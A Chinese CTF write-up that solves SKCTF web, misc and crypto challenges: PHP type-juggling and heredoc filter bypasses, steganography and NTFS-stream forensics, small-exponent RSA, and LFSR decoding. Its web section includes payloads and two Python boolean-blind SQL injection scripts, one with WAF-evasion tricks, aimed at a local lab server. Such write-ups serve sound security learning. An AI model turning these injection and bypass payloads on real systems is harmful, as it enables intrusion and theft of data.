Web
wait a minute
源码:
if(isset($_POST['password']))
{
if(strcmp($_POST['password'],$password)==0){
echo "<h1>Welcome,you need to wait......<br>The flag will become soon....</h1><br>";
if(isset($_GET['time'])){
$t=$_GET['time'];
if(!is_numeric($t)){
echo 'Sorry.<br>';
}else if($t < 66 * 55 * 44 * 33 * 22 * 11 ){
echo 'you need a bigger time.<br>';
}else if($t > 11 * 23 * 33 * 44 * 55 * 66){
echo 'you need a smaller time.<br>';
}else{
sleep((int)$t);
var_dump($flag);
}
echo '<hr>';
}
}else{
echo "Password is wrong............<br>";
}
}else{
echo "<h1>Please input password..........</h1><br>";
}
逻辑很简单,password可以通过构造数组绕过。
time比较麻烦,首先time=11*22*33*44*55*66
,但是由于sleep(time),这么大的time,要等待很久,大概算一下是几百天吧,这里由于用到强制转换(int)$t
。
而16进制0x开头在强制转换中出现问题,导致转换成0.
所以payload为:?time=0x4c06f350
.
八大关
这道,一关又一关,但其实还是都比较简单的。
1.XFF
2.UA
3.php弱类型md5
4.strcmp
5.md5爆破,附上脚本:
import hashlib
def getmd5(code):
for i in range(999999):
temp = hashlib.md5(str(i)).hexdigest()
if temp[0:6] == code:
return i
print getmd5('084a12')
6.php弱类型,数组绕过(md5(arr)==null)
7.urldecode,在传递url时,会进行一次,所以要两次urlencode(’SKCTF’)
8.js,看源码就知道了密码了。
php string
首先、我有一个误区:看到图片名称heredoc我以为会是一个冒充web的隐写题,图片里有个doc这样的==、
提示说文件泄露,得到index.php.swp
Linux 还原:
vim -r index.php.swp
逻辑很简单,只要id=’6666’,即可。(这道题,当时我真的眼瞎==、只看到了6666,自动忽略了两个'
)
但是问题在于:直接传进去的id是有过滤的,过滤了'
,所以没有办法直接让id=’6666’,这是才是佩奇的提示==、heredoc!
heredoc是一种perl风格的定界符。用于定界和传递字符串。用 heredoc 句法结构:<<<。在该运算符之后要提供一个标识符,然后换行。接下来是字符串 string 本身,最后要用前面定义的标识符作为结束标志。
于是我们知道了:可以利用heredoc来绕过'
的过滤。
<<<xx
6666
xx;
但是注意的是每一行都需要一个换行符,url里用%0a,
payload:?id=<<<xx%0A6666%0Axx;%0A
easy web
有源码泄露,得到源码/www.zip
,
里面有三个php文件:
index.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
echo rand();
if(isset($_POST['up_addr']))
{
include("rand_addr.php");
if($_POST['up_addr']===$up_addr&&isset($_POST['str']))
{
$str = $_POST['str'];
$_SESSION['name'] = $str;
}
}
kkk.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class SKCTF{
var $content;
function __destruct() {
include("rand_addr.php");
var_dump($this->content);
file_put_contents("/var/www/html/upload/$up_addr.php",$this->content);
}
}
$a = new SKCTF();
echo $a;
?>
rand_addr.php
<?php
$up_addr = str_shuffle('0123456789abcdefghijklmnopqrstuvwxyz');
这道题是考的是session的反序列化。有点难,先放一放==、
login me
听说只有admin才能拿到flag。
本题考查sql bool盲注。一开始把问题想简单了,以为只是admin的万能密码之类的==、
先做一下无过滤的版本:
payload:
username=1' or substr('a',1,1)='a'#&password=123
下面就开始盲注,这里盲注成功的条件是返回弹窗Wrong password
,失败返回Wrong username
源码给出提示,直接访问web4.sql得到表的结构:
# Host: localhost (Version: 5.5.53-log)
# Date: 2018-05-04 17:13:56
# Generator: MySQL-Front 5.3 (Build 4.234)
/*!40101 SET NAMES utf8 */;
#
# Structure for table "admin"
#
DROP TABLE IF EXISTS `admin`;
CREATE TABLE `admin` (
`id` int(11) DEFAULT NULL,
`username` char(20) DEFAULT NULL,
`password` char(40) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
#
# Structure for table "f1ag"
#
DROP TABLE IF EXISTS `f1ag`;
CREATE TABLE `f1ag` (
`f14g` char(40) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
得到表的结构为:
- admin
- id
- username
- password
- f1ag
- f14g
脚本如下:
# -*-coding:utf-8-*-
import requests
import time
url = 'http://192.168.211.131:49157/'
def check(payload):
postdata={'username':payload,'password':'admin'}
r = requests.post(url,postdata).content
#print r;
return 'Wrong password' in r
flag = ''
s = r'1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@_{}'
for i in xrange(1,64):
for c in s:
payload ='1\'or substr((select f14g from f1ag),%s,1) = \'%s\'#'%(str(i),c)
#print payload
if check(payload):
flag += c
break
print flag
if '}' in flag:
break
接下来是加上waf,过滤以后的==、
首先测试过滤。过滤采用burp进行fuzz。结果如下:
过滤union
,if
,=
,and
,<
,>
,or
,substr
,mid
,like
,空格
可以用/**/
绕过空格,in
绕过=
,lpad
函数代替substr
用于截取字符串。
payload:username=1'/**/||lpad(('a'),1,1)/**/in/**/('a')#&password=123
脚本如下:
# -*-coding:utf-8-*-
import requests
import time
url = 'http://192.168.211.131:49154/'
def check(payload):
postdata={'username':payload,'password':'123'}
r = requests.post(url,postdata).content
#print r;
return 'Wrong password' in r
flag = ''
s = r'1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@_{}'
for i in xrange(1,64):
for c in s:
#payload ='1\'or substr((select f14g from f1ag),%s,1) = \'%s\'#'%(str(i),c)
payload = '1\'/**/||/**/lpad((select/**/f14g/**/from/**/f1ag),%s,1)/**/in/**/(\'%s\')#'%(str(i),flag+c)
#print payload
if check(payload):
flag += c
break
print flag
if '}' in flag:
break
绕啊绕
$rule = '/([[:punct:]]+|[[:alpha:]]+|[[:digit:]]+)/';
if (8 > preg_match_all($rule, $data, $arr))
{
echo preg_match_all($rule, $data, $arr);
break;
}
$num = 0;
$nn = array('punct', 'alpha', 'digit');
foreach ($nn as $ns)
{
if (preg_match("/[[:$ns:]]+/", $data))
{
$num += 1;
}
}
if ($num < 3)
break;
if (187667123 == $data)
{
$da = $_GET['num'];
if (!is_numeric($da))
{
if(27500 < $da)
{
echo $flag;
}
}
else
{
echo "Forbidden!!";
}
}
else
echo 'Wrong password';
exit;
php正则表达式的内置通用字符簇,[[:punct:]]
代表任意标点符号,[[:alpha:]]
代表任意字母,[[:digit:]]
代表任意数字。
if (8 > preg_match_all($rule, $data, $arr))
arr在data中要匹配rule条件8次以上,注意是匹配八次以上,不是八个以上的数字字母符号
$nn = array('punct', 'alpha', 'digit');
foreach ($nn as $ns)
{
if (preg_match("/[[:$ns:]]+/", $data)){
$num += 1;
}
}
if ($num < 3)
break;
这里foreach循环,就是要求的是data里面既要有数字,又要有字母,标点。
if (187667123 == $data)
{
这里要求data==187667123
。
$da = $_GET['num'];
if (!is_numeric($da))
{
if(27500 < $da)
{
echo $flag;
}
这里要求GET一个num,不是数字,而且要比25700大,可以通过弱类型绕过,比如传入27599abc
等
得到payload:
?num=27599abc
POST: data=187667123.0e+0-0+2-2+3-3
Msic
找到也打不开
从数据包中提取文件,wireshark导出http对象,得到压缩包。查看16进制后得知为伪加密,7z打开,或者修改一位即解。
Just Listen
有个password的图片,换通道可以看到密码:
但是要注意一下:密码是forensics_is_fun不带key。
有了密码和mp3文件,想到应该是mp3加密。利用工具MP3_Stego来解,有了密码可以得到隐藏文件,一个txt。
http://www.petitcolas.net/steganography/mp3stego/
真香
一看这个gif,很大。怀疑是有zip,可以通过winhex提取出zip。
但是zip不是直接能打开的,有密码,真加密(不是伪加密==、)当时没想到原来文件尾的blind_water_mark就是密码。
解压后,得到两张图,一张叫or,一张叫xor。
看提示,极有可能是盲水印攻击。
利用github上的盲水印攻击工具。
取证
首先下载下来是个虚拟镜像,于是连接,得到一个压缩包,解压是一个gif(需要用WinRAR解压,因为很多压缩软件不支持NTFS),但是图片大小和所占空间相差很大,有猫腻!
提示是NTFS。
NTFS交换数据流(alternate data streams,简称ADS)是NTFS磁盘格式的一个特性,在NTFS文件系统下每一个文件,都有着主文件流和非主文件流,主文件流能够直接看到;而非主文件流寄宿于主文件流中,无法直接读取,这个非主文件流就是NTFS交换数据流。交换数据流的诞生源于Windows系统与苹果的HFS系统的交互需求,NTFS使用交换数据流来存储文件相关元数据等等。
ADS的作用在于,它允许一个文件携带着附加的信息。例如,IE浏览器下载文件时,会向文件添加一个数据流,标记该文件来源于外部,即带有风险,那么,在用户打开文件时,就会弹出文件警告提示。再如,在网址收藏中,也会附加一个favicon数据流以存放网站图标。
可以利用工具lads和ntfsstreamseditor来导出数据。
又是一个gif,保存所有帧得到flag。
Game
解法一、玩游戏,但是我手残==、
解法二、反编译,下载GameMarker 8.0 Decompiler,将exe进行反编译。得到工程文件gmk,下载Gamemaker可以读取所有游戏文件资源,找到flag。==、我怎么不知道
解法三、最人性化的解法就是修改save文件。因为玩过游戏会产生save文件,只要明白save文件的格式,修改文件即可,偏移量+12.
0112->011E
Crypto
仿射加密
仿射加密,python爆就行。
letter = 'abcdefghijklmnopqrstuvwxyz'
word = 'fwpcpywpcphnxaoxlywpcphnxlhco'
flag = ''
a = 11
b = 23
for i in word:
for j in range(0,len(letter)):
if i == letter[(a*j+b)%26]:
flag+=letter[j]
print flag
看到的就是全部了
常规古典题,Unicode,栅栏,凯撒。
Play Fair
加密游戏规则:
# j -> i
# 若 p1=p2,则插入一个字母(X)于重复字母之间;
# 若明文字母数为奇数时,则在明文的末端添加(Z)作为填充;
key:just do it
plain:playfairseemseasythanothers
play fair decode
矩阵按行生成
j->i 含义为j替代i 因此在生成的矩阵中有j无i
play fair是一种使用一个关键词方格来加密字符对的加密法。
根据加密算法来加密就行。
playfair百科
SKCTF{rhcwgodmdbordbbutcgbmasklzdx}
ez_rsa
考察的是低指数幂的rsa攻击。
在RSA中e也称为加密指数。由于e是可以随意选取的,选取小一点的e可以缩短加密时间,但是选取不当的话,就会造成安全问题。
e=3时的小明文攻击
介绍:
当e=3时,如果明文过小,导致明文的三次方仍然小于n,那么通过直接对密文三次开方,即可得到明文。
由于数据很大,需要用到libnum,介绍一下安装:
git clone https://github.com/hellman/libnum
cd libnum
python setup.py install
脚本攻击,由于知道e=3,很简单
import libnum
n = 127736277372703302601056543119422673263688414162130452012271136376613506149677023810059879551077756689012265602068781726322860263396788055341495459092641851239465778777954763378423777055786390661741851297248439205933852145044703803764388021585419049988085302710871206091591995497858682344782684500134395300049
c = 20007698782339834246219328724588364459038474898597431254441716723329047692482286669616878491497181438826429104573158490197780427343059002311390665150204203593904674308567972583524863664412573864470357485299378319457792659062998310715680020892095430469672971488726545126438904961637
e=3
m = libnum.nroot(c,e)
flag = libnum.n2s(m)
print flag
流密码
hint:
初始状态为10001,放入lfsr中移位吧
lfsr产生序列和Y等长,生成它
尝试把二进制转换为字符,flag长度为23
LFSR原理:
如图,我们可以知道Y = LFSR^FLAG,想知道flag,只要知道LFSR之前的状态即可。
LFSR过程:
输出的第i个和第(i+3)个异或得到第(i+5)个数据。
得到LFSR过程前的结果后,将其与Y异或就可以得到flag。
脚本:
#-*- coding:utf-8 -*-
Y ="1101110011010001000000011110111101011001010011111100000101000110011000010011000001100101101110010010001110011001011110111110100010001110111110110110011111010111110001100001101000101010"
len = len(Y)
print len # 求得Y的长度184
X = '10001'
for i in range(184):
X += str(int(X[i]) ^ int(X[i + 3]))
print "X = "+ X
flag = ''
for i in range(184):
flag += str(int(X[i]) ^ int(Y[i]))
print "flag = "+flag
list = ''
j = 0
while j < len:
list += chr(int(flag[j:j+8],2))
j += 8
print list